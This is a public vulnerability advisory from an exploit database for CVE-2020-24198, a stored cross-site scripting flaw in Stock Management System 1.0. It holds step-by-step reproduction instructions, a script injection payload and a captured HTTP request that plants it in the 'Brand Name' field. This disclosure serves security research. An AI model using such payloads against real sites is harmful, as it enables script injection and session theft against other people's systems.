Stock Management System 1.0 - Persistent Cross-Site Scripting (Brand Name)

2020.09.05

hyd3sec (https://cxsecurity.com/author/hyd3sec/1/) (US)

Risk: **Low** | Local: **No** | Remote: **Yes**

CVE: **CVE-2020-24198 (https://cxsecurity.com/cveshow/CVE-2020-24198/)** | CWE: **CWE-79 (https://cxsecurity.com/cwe/CWE-79)**

CVSS Base Score: **4.3/10**
Exploitability Subscore: **8.6/10**
Attack complexity: **Medium**
Confidentiality impact: **None**
Availability impact: **None**

Impact Subscore: **2.9/10**
Exploit range: **Remote**
Authentication: **No required**
Integrity impact: **Partial**

```
# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Brand Name)
# Exploit Author: Adeeb Shah (@hyd3sec) & Bobby Cooke (boku)
# CVE ID: CVE-2020-24198
# Date: September 4, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4


# Vulnerability Details
# Description A persistent cross-site scripting vulnerability exists within the 'Brand Name' parameter in the edit brand function.
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Bran
d Name value expected.

#Steps:

        1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)

        2. Click "Brand"

        3. Click "Action" in any brand name row

        4. Click Edit

        5. In "Brand Name" field enter XSS <script>alert(1)</script>

        6. Click save changes

        7. Any page on the webapp expecting that 'Brand Name' will trigger the XSS.

POST /stock/php_action/editBrand.php HTTP/1.1
Host: 192.168.222.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/brand.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
DNT: 1
Connection: close
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8

editBrandName=%3Cscript%3Ealert(%22hyd3sec%22)%3C%2Fscript%3E&editBrandStatus=1&brandId=14
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020090024)

Tv

Lul

Vote for this issue: 0 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)